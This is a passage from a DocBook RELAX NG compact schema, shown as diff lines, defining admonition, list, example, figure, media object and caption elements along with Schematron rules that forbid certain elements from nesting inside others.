"not(.//db:caution)" + "caution must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element caution { db.caution.attlist, db.admonition.contentmodel } +} +div { + db.important.role.attribute = attribute role { text } + db.important.attlist = + db.important.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.important = + + ## An admonition set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element important { + db.important.attlist, db.admonition.contentmodel + } +} +div { + db.note.role.attribute = attribute role { text } + db.note.attlist = + db.note.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.note = + + ## A message set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element note { db.note.attlist, db.admonition.contentmodel } +} +div { + db.tip.role.attribute = attribute role { text } + db.tip.attlist = + db.tip.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.tip = + + ## A suggestion to the user, set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element tip { db.tip.attlist, db.admonition.contentmodel } +} +div { + db.warning.role.attribute = attribute role { text } + db.warning.attlist = + db.warning.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.warning = + + ## An admonition set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element warning { db.warning.attlist, db.admonition.contentmodel } +} +div { + db.itemizedlist.role.attribute = attribute role { text } + db.itemizedlist.mark.attribute = + + ## Identifies the type of mark to be used on items in this list + attribute mark { xsd:NMTOKEN } + db.itemizedlist.attlist = + db.itemizedlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spacing.attribute? + & db.itemizedlist.mark.attribute? + db.itemizedlist.info = db._info.title.only + db.itemizedlist = + + ## A list in which each entry is marked with a bullet or other dingbat + element itemizedlist { + db.itemizedlist.attlist, + db.itemizedlist.info, + db.all.blocks*, + db.listitem+ + } +} +div { + db.orderedlist.role.attribute = attribute role { text } + db.orderedlist.continuation.enumeration = + + ## Specifies that numbering should begin where the preceding list left off + "continues" + | + ## Specifies that numbering should begin again at 1 + "restarts" + db.orderedlist.continuation.attribute = + + ## Indicates how list numbering should begin relative to the immediately preceding list + attribute continuation { db.orderedlist.continuation.enumeration } + db.orderedlist.inheritnum.enumeration = + + ## Specifies that numbering should ignore list nesting + "ignore" + | + ## Specifies that numbering should inherit from outer-level lists + "inherit" + db.orderedlist.inheritnum.attribute = + + ## Indicates whether or not item numbering should be influenced by list nesting + attribute inheritnum { db.orderedlist.inheritnum.enumeration } + db.orderedlist.numeration.enumeration = + + ## Specifies Arabic numeration (1, 2, 3, …) + "arabic" + | + ## Specifies upper-case alphabetic numeration (A, B, C, …) + "upperalpha" + | + ## Specifies lower-case alphabetic numeration (a, b, c, …) + "loweralpha" + | + ## Specifies upper-case Roman numeration (I, II, III, …) + "upperroman" + | + ## Specifies lower-case Roman numeration (i, ii, iii …) + "lowerroman" + db.orderedlist.numeration.attribute = + + ## Indicates the desired numeration + attribute numeration { db.orderedlist.numeration.enumeration } + db.orderedlist.attlist = + db.orderedlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spacing.attribute? + & db.orderedlist.continuation.attribute? + & db.orderedlist.inheritnum.attribute? + & db.orderedlist.numeration.attribute? + db.orderedlist.info = db._info.title.only + db.orderedlist = + + ## A list in which each entry is marked with a sequentially incremented label + element orderedlist { + db.orderedlist.attlist, + db.orderedlist.info, + db.all.blocks*, + db.listitem+ + } +} +div { + db.listitem.role.attribute = attribute role { text } + db.listitem.override.attribute = + + ## Specifies the keyword for the type of mark that should be used on this + ## item, instead of the mark that would be used by default + attribute override { xsd:NMTOKEN } + db.listitem.attlist = + db.listitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.listitem.override.attribute? + db.listitem = + + ## A wrapper for the elements of a list item + element listitem { db.listitem.attlist, db.all.blocks+ } +} +div { + db.segmentedlist.role.attribute = attribute role { text } + db.segmentedlist.attlist = + db.segmentedlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.segmentedlist.info = db._info.title.only + db.segmentedlist = + + ## A segmented list, a list of sets of elements + element segmentedlist { + db.segmentedlist.attlist, + db.segmentedlist.info, + db.segtitle+, + db.seglistitem+ + } +} +div { + db.segtitle.role.attribute = attribute role { text } + db.segtitle.attlist = + db.segtitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.segtitle = + + ## The title of an element of a list item in a segmented list + element segtitle { db.segtitle.attlist, db.all.inlines* } +} +div { + db.seglistitem.role.attribute = attribute role { text } + db.seglistitem.attlist = + db.seglistitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seglistitem = + + ## A list item in a segmented list + [ + s:pattern [ + name = "Cardinality of segments and titles" + "\x{a}" ~ + " " + s:rule [ + context = "db:seglistitem" + "\x{a}" ~ + " " + s:assert [ + test = "count(db:seg) = count(../db:segtitle)" + "The number of seg elements must be the same as the number of segtitle elements in the parent segmentedlist" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element seglistitem { db.seglistitem.attlist, db.seg+ } +} +div { + db.seg.role.attribute = attribute role { text } + db.seg.attlist = + db.seg.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seg = + + ## An element of a list item in a segmented list + element seg { db.seg.attlist, db.all.inlines* } +} +div { + db.simplelist.role.attribute = attribute role { text } + db.simplelist.type.enumeration = + + ## A tabular presentation in row-major order. + "horiz" + | + ## A tabular presentation in column-major order. + "vert" + | + ## An inline presentation, usually a comma-delimited list. + "inline" + db.simplelist.type.attribute = + + ## Specifies the type of list presentation. + [ a:defaultValue = "vert" ] + attribute type { db.simplelist.type.enumeration } + db.simplelist.columns.attribute = + + ## Specifies the number of columns for horizontal or vertical presentation + attribute columns { xsd:integer } + db.simplelist.attlist = + db.simplelist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.simplelist.type.attribute? + & db.simplelist.columns.attribute? + db.simplelist = + + ## An undecorated list of single words or short phrases + element simplelist { db.simplelist.attlist, db.member+ } +} +div { + db.member.role.attribute = attribute role { text } + db.member.attlist = + db.member.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.member = + + ## An element of a simple list + element member { db.member.attlist, db.all.inlines* } +} +div { + db.variablelist.role.attribute = attribute role { text } + db.variablelist.termlength.attribute = + + ## Indicates a length beyond which the presentation system may consider a term too long and select an alternate presentation for that term, item, or list + attribute termlength { text } + db.variablelist.attlist = + db.variablelist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spacing.attribute? + & db.variablelist.termlength.attribute? + db.variablelist.info = db._info.title.only + db.variablelist = + + ## A list in which each entry is composed of a set of one or more terms and an associated description + element variablelist { + db.variablelist.attlist, + db.variablelist.info, + db.all.blocks*, + db.varlistentry+ + } +} +div { + db.varlistentry.role.attribute = attribute role { text } + db.varlistentry.attlist = + db.varlistentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.varlistentry = + + ## A wrapper for a set of terms and the associated description in a variable list + element varlistentry { + db.varlistentry.attlist, db.term+, db.listitem + } +} +div { + db.term.role.attribute = attribute role { text } + db.term.attlist = + db.term.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.term = + + ## The word or phrase being defined or described in a variable list + element term { db.term.attlist, db.all.inlines* } +} +div { + db.example.role.attribute = attribute role { text } + db.example.label.attribute = db.label.attribute + db.example.width.attribute = db.width.characters.attribute + db.example.floatstyle.attribute = db.floatstyle.attribute + db.example.attlist = + db.example.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.example.label.attribute? + & db.example.floatstyle.attribute? + & db.example.width.attribute? + db.example.info = db._info.title.onlyreq + db.example = + + ## A formal example, with a title + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element example { + db.example.attlist, db.example.info, db.all.blocks+, db.caption? + } +} +div { + db.informalexample.role.attribute = attribute role { text } + db.informalexample.width.attribute = db.width.characters.attribute + db.informalexample.floatstyle.attribute = db.floatstyle.attribute + db.informalexample.attlist = + db.informalexample.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.informalexample.floatstyle.attribute? + & db.informalexample.width.attribute? + db.informalexample.info = db._info.title.forbidden + db.informalexample = + + ## A displayed example without a title + element informalexample { + db.informalexample.attlist, + db.informalexample.info, + db.all.blocks+, + db.caption? + } +} +db.verbatim.inlines = (db.all.inlines | db.lineannotation) | db.co +db.verbatim.contentmodel = + db._info.title.forbidden, (db.textobject | db.verbatim.inlines*) +div { + db.programlisting.role.attribute = attribute role { text } + db.programlisting.width.attribute = db.width.characters.attribute + db.programlisting.attlist = + db.programlisting.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.programlisting.width.attribute? + db.programlisting = + + ## A literal listing of all or part of a program + element programlisting { + db.programlisting.attlist, db.verbatim.contentmodel + } +} +div { + db.literallayout.role.attribute = attribute role { text } + db.literallayout.class.enumeration = + + ## The literal layout should be formatted with a monospaced font + "monospaced" + | + ## The literal layout should be formatted with the current font + "normal" + db.literallayout.class.attribute = + + ## Specifies the class of literal layout + attribute class { db.literallayout.class.enumeration } + db.literallayout.attlist = + db.literallayout.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.literallayout.class.attribute? + db.literallayout = + + ## A block of text in which line breaks and white space are to be reproduced faithfully + element literallayout { + db.literallayout.attlist, db.verbatim.contentmodel + } +} +div { + db.screen.role.attribute = attribute role { text } + db.screen.width.attribute = db.width.characters.attribute + db.screen.attlist = + db.screen.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.screen.width.attribute? + db.screen = + + ## Text that a user sees or might see on a computer screen + element screen { db.screen.attlist, db.verbatim.contentmodel } +} +div { + db.screenshot.role.attribute = attribute role { text } + db.screenshot.attlist = + db.screenshot.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.screenshot.info = db._info + db.screenshot = + + ## A representation of what the user sees or might see on a computer screen + element screenshot { + db.screenshot.attlist, db.screenshot.info, db.mediaobject + } +} +div { + db.figure.role.attribute = attribute role { text } + db.figure.label.attribute = db.label.attribute + db.figure.pgwide.attribute = db.pgwide.attribute + db.figure.floatstyle.attribute = db.floatstyle.attribute + db.figure.attlist = + db.figure.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.figure.label.attribute? + & db.figure.pgwide.attribute? + & db.figure.floatstyle.attribute? + db.figure.info = db._info.title.onlyreq + db.figure = + + ## A formal figure, generally an illustration, with a title + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:figure" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of figure" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element figure { + db.figure.attlist, db.figure.info, db.all.blocks+, db.caption? + } +} +div { + db.informalfigure.role.attribute = attribute role { text } + db.informalfigure.label.attribute = db.label.attribute + db.informalfigure.pgwide.attribute = db.pgwide.attribute + db.informalfigure.floatstyle.attribute = db.floatstyle.attribute + db.informalfigure.attlist = + db.informalfigure.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.informalfigure.label.attribute? + & db.informalfigure.pgwide.attribute? + & db.informalfigure.floatstyle.attribute? + db.informalfigure.info = db._info.title.forbidden + db.informalfigure = + + ## A untitled figure + element informalfigure { + db.informalfigure.attlist, + db.informalfigure.info, + db.all.blocks+, + db.caption? + } +} +db.mediaobject.content = + (db.videoobject | db.audioobject | db.imageobject | db.textobject) + | db.imageobjectco +div { + db.mediaobject.role.attribute = attribute role { text } + db.mediaobject.attlist = + db.mediaobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.mediaobject.info = db._info.title.forbidden + db.mediaobject = + + ## A displayed media object (video, audio, image, etc.) + element mediaobject { + db.mediaobject.attlist, + db.mediaobject.info, + db.alt?, + db.mediaobject.content+, + db.caption? + } +} +div { + db.inlinemediaobject.role.attribute = attribute role { text } + db.inlinemediaobject.attlist = + db.inlinemediaobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.inlinemediaobject.info = db._info.title.forbidden + db.inlinemediaobject = + + ## An inline media object (video, audio, image, and so on) + element inlinemediaobject { + db.inlinemediaobject.attlist, + db.inlinemediaobject.info, + db.alt?, + db.mediaobject.content+ + } +} +div { + db.videoobject.role.attribute = attribute role { text } + db.videoobject.attlist = + db.videoobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.videoobject.info = db._info.title.forbidden + db.videoobject = + + ## A wrapper for video data and its associated meta-information + element videoobject { + db.videoobject.attlist, db.videoobject.info, db.videodata + } +} +div { + db.audioobject.role.attribute = attribute role { text } + db.audioobject.attlist = + db.audioobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.audioobject.info = db._info.title.forbidden + db.audioobject = + + ## A wrapper for audio data and its associated meta-information + element audioobject { + db.audioobject.attlist, db.audioobject.info, db.audiodata + } +} +db.imageobject.content = db.imagedata | db._any.svg+ +div { + db.imageobject.role.attribute = attribute role { text } + db.imageobject.attlist = + db.imageobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.imageobject.info = db._info.title.forbidden + db.imageobject = + + ## A wrapper for image data and its associated meta-information + element imageobject { + db.imageobject.attlist, + db.imageobject.info, + db.imageobject.content + } +} +div { + db.textobject.role.attribute = attribute role { text } + db.textobject.attlist = + db.textobject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.textobject.info = db._info.title.forbidden + db.textobject = + + ## A wrapper for a text description of an object and its associated meta-information + element textobject { + db.textobject.attlist, + db.textobject.info, + (db.phrase | db.textdata | db.all.blocks+) + } +} +div { + db.videodata.role.attribute = attribute role { text } + db.videodata.align.enumeration = db.halign.enumeration + db.videodata.align.attribute = + + ## Specifies the (horizontal) alignment of the video data + attribute align { db.videodata.align.enumeration } + db.videodata.valign.enumeration = db.valign.enumeration + db.videodata.valign.attribute = + + ## Specifies the vertical alignment of the video data + attribute valign { db.videodata.valign.enumeration } + db.videodata.width.attribute = db.width.attribute + db.videodata.depth.attribute = db.depth.attribute + db.videodata.contentwidth.attribute = db.contentwidth.attribute + db.videodata.contentdepth.attribute = db.contentdepth.attribute + db.videodata.scalefit.enumeration = db.scalefit.enumeration + db.videodata.scalefit.attribute = + + ## Determines if anamorphic scaling is forbidden + attribute scalefit { db.videodata.scalefit.enumeration } + db.videodata.scale.attribute = db.scale.attribute + db.videodata.attlist = + db.videodata.role.attribute? + & db.common.attributes + & db.common.data.attributes + & db.videodata.align.attribute? + & db.videodata.valign.attribute? + & db.videodata.width.attribute? + & db.videodata.contentwidth.attribute? + & db.videodata.scalefit.attribute? + & db.videodata.scale.attribute? + & db.videodata.depth.attribute? + & db.videodata.contentdepth.attribute? + db.videodata.info = db._info.title.forbidden + db.videodata = + + ## Pointer to external video data + element videodata { db.videodata.attlist, db.videodata.info } +} +div { + db.audiodata.role.attribute = attribute role { text } + db.audiodata.attlist = + db.audiodata.role.attribute? + & db.common.attributes + & db.common.data.attributes + db.audiodata.info = db._info.title.forbidden + db.audiodata = + + ## Pointer to external audio data + element audiodata { db.audiodata.attlist, db.audiodata.info } +} +div { + db.imagedata.role.attribute = attribute role { text } + db.imagedata.align.enumeration = db.halign.enumeration + db.imagedata.align.attribute = + + ## Specifies the (horizontal) alignment of the image data + attribute align { db.imagedata.align.enumeration } + db.imagedata.valign.enumeration = db.valign.enumeration + db.imagedata.valign.attribute = + + ## Specifies the vertical alignment of the image data + attribute valign { db.imagedata.valign.enumeration } + db.imagedata.width.attribute = db.width.attribute + db.imagedata.depth.attribute = db.depth.attribute + db.imagedata.contentwidth.attribute = db.contentwidth.attribute + db.imagedata.contentdepth.attribute = db.contentdepth.attribute + db.imagedata.scalefit.enumeration = db.scalefit.enumeration + db.imagedata.scalefit.attribute = + + ## Determines if anamorphic scaling is forbidden + attribute scalefit { db.imagedata.scalefit.enumeration } + db.imagedata.scale.attribute = db.scale.attribute + db.imagedata.attlist = + db.imagedata.role.attribute? + & db.common.attributes + & db.common.data.attributes + & db.imagedata.align.attribute? + & db.imagedata.valign.attribute? + & db.imagedata.width.attribute? + & db.imagedata.contentwidth.attribute? + & db.imagedata.scalefit.attribute? + & db.imagedata.scale.attribute? + & db.imagedata.depth.attribute? + & db.imagedata.contentdepth.attribute? + db.imagedata.info = db._info.title.forbidden + db.imagedata = + + ## Pointer to external image data + element imagedata { db.imagedata.attlist, db.imagedata.info } +} +div { + db.textdata.role.attribute = attribute role { text } + db.textdata.encoding.attribute = + + ## Identifies the encoding of the text in the external file + attribute encoding { text } + db.textdata.attlist = + db.textdata.role.attribute? + & db.common.attributes + & db.common.data.attributes + & db.textdata.encoding.attribute? + db.textdata.info = db._info.title.forbidden + db.textdata = + + ## Pointer to external text data + element textdata { db.textdata.attlist, db.textdata.info } +} +div { + db.caption.role.attribute = attribute role { text } + db.caption.attlist = + db.caption.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.caption.info = db._info.title.forbidden + db.caption = + + ## A caption + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" 